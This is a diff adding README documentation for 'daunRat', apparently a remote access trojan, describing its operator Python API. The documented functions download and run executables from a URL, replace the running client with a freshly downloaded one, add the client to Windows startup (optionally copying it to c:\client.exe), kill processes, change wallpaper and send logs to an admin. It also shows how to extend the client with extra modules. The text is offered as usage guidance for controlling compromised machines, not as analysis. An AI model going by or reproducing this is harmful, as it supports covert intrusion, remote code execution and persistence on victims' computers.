+
+## Using daunRat api in `Python` section:
+You can use these libs by default:
+```
+subprocess
+sys
+os
+time
+daun
+daunrat
+```
+`daun` is imported `modules` folder from [daun](https://github.com/BarsTiger/daun), you can use
+code from it, for example:
+```python
+daun.wallpaper.set_wallpaper("path/to/image.jpg")
+daun.set_wallpaper("path/to/image.jpg")
+daun.download("https://example.com/file.exe")
+daun.process.kill("process_name")
+daun.kill("process_name")
+...
+```
+`daunrat` is imported `selfutil.py` from daunRat modules. It contains some useful functions
+for administering daunRat. For example we built daunRat and renamed it to `client.exe`:
+```python
+# If you need to redownload daunRat from server and run it with stopping 
+# old version, use this:
+daunrat.upgrade(url="https://example.com/new_client.exe", old="client.exe", 
+                destination="client.exe", command="client.exe")
+
+# If you need to restart daunRat, use this:
+daunrat.restart("client.exe")
+
+# If you need to add daunRat to startup, use this:
+daunrat.startup(startupname="client")
+# Or to copy daunRat to other folder before:
+daunrat.startup(startupname="client", 
+                copy_from="client.exe", copy_to="c:\client.exe")
+```
+Also, you can use `log` function to send logs to admin, pusher and pysher client and receiver.
+
+## Adding custom commands and imports:
+You can add custom code to `custom_imports.py` file. If you need to add libs, that are installed
+with pip, use this:
+```bash
+cd client
+venv\Scripts\activate
+pip install module_name
+venv\Scripts\deactivate
+cd ..
+```
+`custom_imports.py`:
+```python
+import module_name
+```
